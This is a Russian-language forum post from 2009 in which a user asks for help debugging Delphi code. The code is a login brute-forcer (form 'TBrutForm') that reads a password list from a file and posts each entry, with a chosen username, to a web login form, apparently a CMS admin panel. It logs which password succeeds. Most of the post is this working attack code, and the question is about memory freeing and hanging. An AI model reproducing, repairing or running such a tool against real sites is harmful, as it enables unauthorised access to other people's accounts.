
19.12.2009, 14:42
|
|
Познающий
Регистрация: 18.11.2009
Сообщений: 44
С нами:
8673383
Репутация:
3
|
|
Сообщение от ZdezBilYa
у вас идет освобождение списка:
вынесите это за цикл for
Вот так? всё ровно ругается...
Код:
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
Http : TidHttp;
CM : TidCookieManager;
Data : TStringList;
StrPage, UserID, UserName : String;
Str1 : TStringList;
i : Integer;
begin
Str1:=TStringList.Create;
Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
try
Http := TIdHTTP.Create(Self);
Data := TStringList.Create;
CM := TidCookieManager.Create(Http);
Http.AllowCookies := true;
Http.CookieManager := CM;
Http.HandleRedirects := true;
Http.Request.Host:=HostEdit.Text;
Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
Http.Request.Referer:=RefererEdit.Text;
Data.Add('subaction=dologin');
Data.Add('username='+NickEdit.Text);
Data.Add('password='+Str1[i]);
Data.Add('selected_language='+BoxLanguage.Text);
StrPage := Http.Post(HTTPEdit.Text, Data);
finally
Data.Free;
CM.Free;
Http.Free;
end;
if Pos('Engine:</td',StrPage) <> 0 then
MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
else
MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!');
end;
Str1.Free;
end;
или за
Код:
finally
Data.Free;
CM.Free;
Http.Free;
end;
Str1.Free;
if Pos('Engine:</td',StrPage) <> 0 then
MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
else
по-моему второй вариант?
всё ровно виснет если два пароля :\
|
|
|